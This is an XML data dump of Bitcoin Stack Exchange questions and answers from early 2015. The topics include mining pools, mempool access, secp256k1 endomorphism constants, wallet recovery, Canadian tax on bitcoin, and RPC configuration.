  <row Id="35808" PostTypeId="2" ParentId="28230" CreationDate="2015-01-30T04:34:08.830" Score="2" Body="&lt;p&gt;Its totally open to anyone! You can create your own mining pool and get miners based on your &lt;strong&gt;reputation&lt;/strong&gt;. Miners getwork from mining pools and submit their work to the mining pool and get their payouts. There are different types of payouts like PPS, PPLNS and ... &lt;br/&gt;&#xA;There are new mining pools like &lt;strong&gt;P2Pool&lt;/strong&gt; which is totally a decentralized pool and it doesn't have an operator. You might be interested to check those out.&lt;/p&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-01-30T04:34:08.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35811" PostTypeId="1" CreationDate="2015-01-30T14:11:51.000" Score="4" ViewCount="785" Body="&lt;p&gt;I'm running bitcoind from a small virtual machine on digitialocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested only in looking at the new transactions in &lt;code&gt;bitcoind getrawmempool&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get these transactions without downloading the whole blockchain?  Currently, I'll need a minimum of 40GB instance to have the whole blockchain on the VM.&lt;/p&gt;&#xA;" OwnerUserId="15210" LastEditorUserId="5406" LastEditDate="2016-08-03T06:32:01.533" LastActivityDate="2016-08-03T06:32:01.533" Title="bitcoind getrawmempool without downloading the full blockchain" Tags="|bitcoind|unconfirmed-transactions|mempool|storage-footprint|getmemorypool|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35812" PostTypeId="2" ParentId="35811" CreationDate="2015-01-30T14:57:35.513" Score="4" Body="&lt;p&gt;Bitcoin core does not provide this functionality (as far as I know). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;mempool&lt;/code&gt; is where transactions are stored until they get put into a block. It would be hard to determine you had the correct &lt;code&gt;mempool&lt;/code&gt; if you didn't keep track of the whole block chain, though. For example, someone could broadcast an older transaction, and you would have no way to determine that you shouldn't just add it to your &lt;code&gt;mempool&lt;/code&gt; if you didn't keep track of the whole block chain. Transactions also have to pass some basic validation before they can be added to the &lt;code&gt;mempool&lt;/code&gt;, validation which requires having all the blockchain data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were a program to implement this, it would at least have to process all new blocks as they came in, in order to determine which transactions to take out of the mempool as blocks get solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this said, you can set up a light-weight node that just monitors what transactions are being spread around on the network, but without the full blockchain data you won't be able to validate that the transactions are candidates for inclusion in the next block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Amaclin pointed, one such program to do this network watching is &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/sebicas/bitcoin-sniffer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sebicas/bitcoin-sniffer&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-30T19:38:52.550" LastActivityDate="2015-01-30T19:38:52.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35813" PostTypeId="2" ParentId="35811" CreationDate="2015-01-30T15:11:06.943" Score="3" Body="&lt;p&gt;If you're looking for unconfirmed transactions without loading the blockchain, you're going to have to trust someone since you can't verify the transactions yourself. Probably the easiest way to get these transactions is by using a third-party API service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info provides a very good one here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/unconfirmed-transactions?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command line to get this would be something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl https://blockchain.info/unconfirmed-transactions?format=json&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-30T15:11:06.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35814" PostTypeId="1" AcceptedAnswerId="35872" CreationDate="2015-01-30T15:29:29.333" Score="8" ViewCount="3205" Body="&lt;p&gt;You can see a little background about this on this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3238.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk post&lt;/a&gt; by the late Hal Finney.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beta and lambda are the values on the secp256k1 curve where:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;λ^3 (mod N) = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;β^3 (mod P) = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As seen &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, in hex, N and P are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N = FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364141&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P = FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE FFFFFC2F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual values of lambda and beta are easily verifiable and are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;λ = 5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72&lt;/p&gt;&#xA;&#xA;&lt;p&gt;β = 7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question for me is, how do you derive this? Can someone show me step-by-step how you can figure out these values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/22738/how-do-you-derive-the-lambda-and-beta-values-for-endomorphism-on-the-secp256k1-c&quot;&gt;Also posted to the Cryptography Stack Exchange&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2022-08-16T07:28:41.527" Title="How do you derive the lambda and beta values for endomorphism on the secp256k1 curve?" Tags="|cryptography|ecdsa|secp256k1|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35815" PostTypeId="2" ParentId="35743" CreationDate="2015-01-30T15:30:07.077" Score="1" Body="&lt;p&gt;First of all it is extremely dangerous to back-up your wallet to Dropbox or any other cloud based file service. You might find that if you do recover your wallet, it may have no more funds in it, but I'm hoping that you encrypted your wallet before backing it up to Dropbox and you can remember the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, running vanilla bitcoind is not a mining version of bitcoin, by default, so I am assuming that you know what you are doing, although it might have cost you a considerable amount to run that on amazon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you haven't been unlucky or naive, you cannot directly recover your wallet to Multibit, the wallet file formats are not compatible but in any case this is not what you should be doing. The simplest way is to make a payment from your running bitcoind wallet to a new address in Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It actually surprises me just how many people don't understand this.  &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2015-01-30T15:30:07.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35816" PostTypeId="2" ParentId="34203" CreationDate="2015-01-30T17:29:39.560" Score="3" Body="&lt;p&gt;You get that obscure RPC error when your tx is using outputs that &lt;code&gt;bitcoind&lt;/code&gt; never heard of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For txs coming from the p2p network, there is an &quot;orphan&quot; mechanism, where &lt;code&gt;bitcoind&lt;/code&gt; will wait for those missing outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RPC txs are apparently expected to come in the right order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @GK pointed, a pull request is availbale at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5418&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/5418&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="23158" LastActivityDate="2015-01-30T17:29:39.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35817" PostTypeId="1" CreationDate="2015-01-30T20:57:27.943" Score="3" ViewCount="288" Body="&lt;p&gt;I am with the Adelante Foundation.  We are a microfinance institution serving the poorest of the poor women in Honduras. We are currently toying with the idea of transitioning into a cashless model using the Bitcoin and I had a few questions I was hoping you could help me out with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the benefits of going cashless and using the Bitcoin. I also understand the efficiency of approving loans and transferring money to clients. What I do not understand is how the clients use that money to pay for things. Since Adelante works in very rural areas, it's very possible they will need cash to make transactions, so how do they do that? Would all the vendors need to have some sort of software that supports Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any light you could shed on this subject would be very appreciated!  Thank you so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="23160" LastActivityDate="2015-04-30T12:24:38.293" Title="Bitcoin in third world countries" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35818" PostTypeId="2" ParentId="35817" CreationDate="2015-01-30T21:25:50.457" Score="1" Body="&lt;p&gt;Yes, if you're transacting with bitcoin, you will need vendors that accept bitcoin instead of cash. Furthermore, the clients and vendors will most likely need internet access in order to send bitcoins from one person to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably help to know a little bit about how bitcoin works and how it's a global ledger system based on the blockchain. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12427/can-someone-explain-how-the-bitcoin-blockchain-works&quot;&gt;This answer&lt;/a&gt; should enlighten you a bit about the requirements.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-01-30T21:25:50.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35819" PostTypeId="2" ParentId="30519" CreationDate="2015-01-30T23:36:06.773" Score="0" Body="&lt;p&gt;I've found that this method works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy an Amazon Gift card from &lt;a href=&quot;http://www.gyft.com&quot; rel=&quot;nofollow&quot;&gt;Gyft&lt;/a&gt; using PayPal to pay&lt;/li&gt;&#xA;&lt;li&gt;Use that Amazon credit to buy Wishlists from &lt;a href=&quot;https://www.amz2btc.com&quot; rel=&quot;nofollow&quot;&gt;amz2bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins for the purchase deposited directly into your wallet address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's anonymous, relatively fast, and a good alternative to localbitcoins.  It's also a helluva lot cheaper than going through Virwox.&lt;/p&gt;&#xA;" OwnerUserId="23163" LastActivityDate="2015-01-30T23:36:06.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35820" PostTypeId="2" ParentId="19707" CreationDate="2015-01-30T23:39:52.303" Score="0" Body="&lt;p&gt;Bitcoin &lt;em&gt;may&lt;/em&gt; be a threat to Paypal someday (hopefully soon!), but due to the current technical know-how, the majority of users are more comfortable with services like PP than they are BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know any service (outside of localbitcoins) that will sell you Bitcoins for Paypal directly, but there are some roundabout methods.  Virwox will let you exchange paypal for linden bucks, then lindens for Bitcoins (~30% premium).  Alternatively, you can buy an Amazon gift card from &lt;a href=&quot;http://gyft.com&quot; rel=&quot;nofollow&quot;&gt;Gyft.com&lt;/a&gt; and then use that credit to buy wishlists from &lt;a href=&quot;https://www.amz2btc.com&quot; rel=&quot;nofollow&quot;&gt;amz2bitcoin&lt;/a&gt; (~15% premium).  They're not direct, but they get the job done.&lt;/p&gt;&#xA;" OwnerUserId="23163" LastActivityDate="2015-01-30T23:39:52.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35821" PostTypeId="2" ParentId="19019" CreationDate="2015-01-31T07:16:31.240" Score="3" Body="&lt;p&gt;I've worked with Abe for some time; I'll try to have a run at it... I'm using the latest table list from Database version Abe39 on MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Utility tables:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;abe_lock:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used for locking while performing DDL&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;configvar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuration and results of some auto-detected SQL features.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Blockchain tables:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block hash and related statistic/infos.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;block_next:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forward-linking of blocks (blocks references only the previous block; this table links to the next one).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;block_tx:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links blocks to all their transactions in tx.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;block_txin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is merely a &quot;shortcut&quot; table that contains information accessible elsewhere: somewhat links together block_id, txin and the block it's spent on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;orphan_block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used to link orphan block (for eventual out of order/multi-threaded indexing?) References the previous block hash (since we do not have pref block_id yet).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tx:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction: links to inputs (txin) and outputs (txout)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;txin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single transaction input.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unlinked_txin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for orphan_block, links to txin we do not have loaded yet. References the txout_hash as we do not have yet the txout_id.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;txout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single tx output&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;pubkey:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin address (pubkey)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;multisig_pubkey:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A multisig pubkey&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;chain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chain name and properties (one per cryptocoin)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;magic           &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per-chain magic number&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;chain_candidate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Identifies each block height and whenever it's part of the longest chain or not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;datadir:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information relative to blockfile indexer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sequences:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty much DB-specific; on MySQL these are tables that have a single AUTO_INCREMENT column and are used to create unique keys for their respective tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;block_seq&lt;/li&gt;&#xA;&lt;li&gt;chain_seq&lt;/li&gt;&#xA;&lt;li&gt;datadir_seq&lt;/li&gt;&#xA;&lt;li&gt;pubkey_seq&lt;/li&gt;&#xA;&lt;li&gt;tx_seq&lt;/li&gt;&#xA;&lt;li&gt;txin_seq&lt;/li&gt;&#xA;&lt;li&gt;txout_seq&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-01-31T07:16:31.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35822" PostTypeId="2" ParentId="35817" CreationDate="2015-01-31T08:15:40.500" Score="0" Body="&lt;p&gt;If you use bitcoin, both sides of the transaction will need to use bitcoin. Bitcoin also needs internet access or mobile 3G or similar. In a rural area this may be hard to come by.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2015-01-31T08:15:40.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35823" PostTypeId="2" ParentId="35786" CreationDate="2015-01-31T09:07:14.363" Score="0" Body="&lt;p&gt;If the Bitcoin would have had a constant amount of hashing power that whole time, we could have expected the straight line that you postulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Bitcoin network's hashing power has been growing substantially, for some stretches even exponentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the difficulty on the Bitcoin network only gets adjusted every 2016 blocks, i.e. every 14 days at a 10 minute interval, the difficulty has only been in line with the amount of hashing power right after a difficulty change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, as the hashing power has been increasing, blocks were found quicker, reducing the average block time below the target of ten minutes. – It actually dropped below eight minutes at peak hashing power growth rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As each block puts new bitcoins into circulation, a high growth in hashing power will cause a greater increase of bitcoins into circulation. Therefore, the growth of hashing power is related to the slope of &quot;Total Bitcoins in circulation&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the hash rate in 2015 so far has been decreasing from a peak of 328 Petahashes/s to about 300 Petahashes/s, causing a current average block interval of just shy of 11 minutes.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-01-31T09:07:14.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35824" PostTypeId="2" ParentId="21427" CreationDate="2015-01-31T09:26:40.843" Score="4" Body="&lt;p&gt;&lt;strong&gt;No, Bitcoins cannot be transferred to another address without connection to the network.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are not actually stored on a particular device, Bitcoins only exist as claims noted in the network's ledger, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13347/5406&quot;&gt;the blockchain&lt;/a&gt;. What is actually stored on the device's wallet are the means to exert control over Bitcoin claims, the private keys. (For the user's convenience, the wallet also presents information on what the total of that claims pertains to.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, to send bitcoins to another address, the state of the public ledger needs to be updated, which can only happen by a transaction being broadcasted to the network and accepted into a block, recording the change in claims of the sender and recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, bitcoin claims can be transferred by passing along the control over the claims, i.e. by giving the recipient access to a private key. This can be achieved for example by giving the sender an electronic copy of a private key or a paper wallet. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-31T09:26:40.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35825" PostTypeId="1" CreationDate="2015-01-31T16:56:05.633" Score="1" ViewCount="2083" Body="&lt;p&gt;I plan to eventually add litecoin, Dogecoin, and possibly some other scrypt merged-minable coins to my pool. Are there any tutorials or other information available that would show me how to set my pool up for merged mining? &lt;/p&gt;&#xA;" OwnerUserId="23040" LastActivityDate="2015-02-04T08:59:06.473" Title="How to set up for merged mining" Tags="|mining-pools|merged-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35826" PostTypeId="1" AcceptedAnswerId="35833" CreationDate="2015-01-31T18:21:15.027" Score="1" ViewCount="843" Body="&lt;p&gt;I saw this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/535/tax-implications-in-canada-of-buying-and-selling-bitcoins&quot;&gt;post&lt;/a&gt;, but it really didn't help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I fill out my tax forms if I am only buying and holding bitcoins, not selling them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://www.canadiantaxlitigation.com/wp-content/uploads/2014/01/2013-0514701I7.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; appears to suggest that I only need to worry about taxes if I profit off of them when I sell them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buying and Selling Bitcoins&#xA;&#xA;Income Tax Implications&#xA;&#xA;Where a person trades or sells Bitcoins like a commodity (i.e., speculating&#xA;on the changes in the value of Bitcoins), the resulting gain or loss may be &#xA;on account of income or capital.  Determining whether such a transaction is&#xA;on account of income or capital can only be made following an assessment of &#xA;all the facts relating to the particular taxpayer’s circumstances.&#xA;Paragraphs 9 to 32 of Interpretation Bulletin IT-479R, “Transactions in &#xA;securities”, provide general comments for purposes of determining whether &#xA;transactions are income or capital in nature.&#xA;&#xA;The determination of the income tax consequences relating to the treatment &#xA;of gains and losses arising from the purchase and sale of Bitcoins would be &#xA;generally the same as for transaction[enter link description here][3]s &#xA;involving other types of commodities.&#xA;&#xA;Example:&#xA;&#xA;Mr. X bought a Bitcoin on June 1, 2013 for $100.  Mr. X then sold the &#xA;Bitcoin on December 1, 2013 for $500.&#xA;&#xA;Based on his particular facts and circumstances, Mr. X determined that the &#xA;gain was on account of capital.&#xA;&#xA;Mr. X has a capital gain since he sold a capital property for more than the &#xA;total of its adjusted cost base and the outlays and expenses incurred to &#xA;sell the property.&#xA;&#xA;Mr. X’s capital gain is $400 ($500 less $100).  Mr. X will need to report &#xA;$200 as a taxable capital gain (only 1/2 of the capital gain is taxable) on &#xA;his 2013 Income Tax and Benefit Return.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I don't know how reputable that page is, so here is the &lt;a href=&quot;http://www.cra-arc.gc.ca/E/pub/tp/it479r/README.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;official, incomprehensible source&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21301" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-02-01T00:18:38.247" Title="Canadian Taxes for Buying Bitcoins" Tags="|trading|taxes|canada|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35827" PostTypeId="1" CreationDate="2015-01-31T20:03:30.130" Score="0" ViewCount="334" Body="&lt;p&gt;In PHP I run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoin-&amp;gt;listtransactions(&quot;count = 5, offset = 0&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the hope of getting 5 transactions only, but I get the response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool(false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run $bitcoin-&gt;listtransactions(); alone, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="23170" LastEditorUserId="2306" LastEditDate="2015-01-31T21:38:08.283" LastActivityDate="2015-02-01T00:06:19.280" Title="listtransactions via RPC returns false in PHP" Tags="|json-rpc|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35828" PostTypeId="1" AcceptedAnswerId="35834" CreationDate="2015-01-31T21:26:19.210" Score="3" ViewCount="213" Body="&lt;p&gt;I'm interested in running a private test network to experiment with various chain parameters. These are hardcoded in chainparams.cpp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this means that to run any experiments, I need to recompile Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do instead is simply edit a configuration file, then restart Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are chain parameters hard coded this way? Is there any way to inject my own chain parameters through a configuration file without recompiling Bitcoin Core?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-02-01T07:51:40.497" Title="Why are chain parameters hardcoded rather than defined in a configuration file?" Tags="|bitcoin-core-development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35829" PostTypeId="1" AcceptedAnswerId="35830" CreationDate="2015-01-31T23:36:13.013" Score="1" ViewCount="441" Body="&lt;p&gt;My bitcoin.conf file has the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=127.0.0.1&#xA;rpcallowip=192.168.*.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: Invalid -rpcallowip subnet specification: 192.168.*. Valid are a single IP (e.g. 1.2.3.4), a network/netmask (e.g.&#xA;  1.2.3.4/255.255.255.0) or a network/CIDR (e.g. 1.2.3.4/24).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I allow an IP range as I did before?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2015-02-01T01:59:15.463" Title="bitcoin allowip not working" Tags="|bitcoind|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35830" PostTypeId="2" ParentId="35829" CreationDate="2015-01-31T23:52:30.600" Score="3" Body="&lt;p&gt;That format has been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=192.168.0.0/16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-01T01:59:15.463" LastActivityDate="2015-02-01T01:59:15.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35831" PostTypeId="2" ParentId="35827" CreationDate="2015-02-01T00:00:08.690" Score="1" Body="&lt;p&gt;According to documentation, there are several optional parameters you can provide  in order to retrieve list of transactions for account(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions [account] [count=10] [skip=0] [include_watch_only]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[account]&lt;/code&gt; (string) leave &lt;code&gt;&quot;&quot;&lt;/code&gt; for default account and &lt;code&gt;&quot;*&quot;&lt;/code&gt; for all accounts, default &lt;code&gt;&quot;&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[count]&lt;/code&gt; (int) number of recent tx to return, default is &lt;code&gt;10&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[skip]&lt;/code&gt; (int) number of recent tx not to return, default is &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;[include_watch_only]&lt;/code&gt; (bool) include watch-only addresses, default is &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suggest to try the call with all 4 parameters: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoin-&amp;gt;listtransactions(&quot;*&quot;, 10, 0, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not PHP expert but the output you get might be indication of missing parameters.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-02-01T00:06:19.280" LastActivityDate="2015-02-01T00:06:19.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
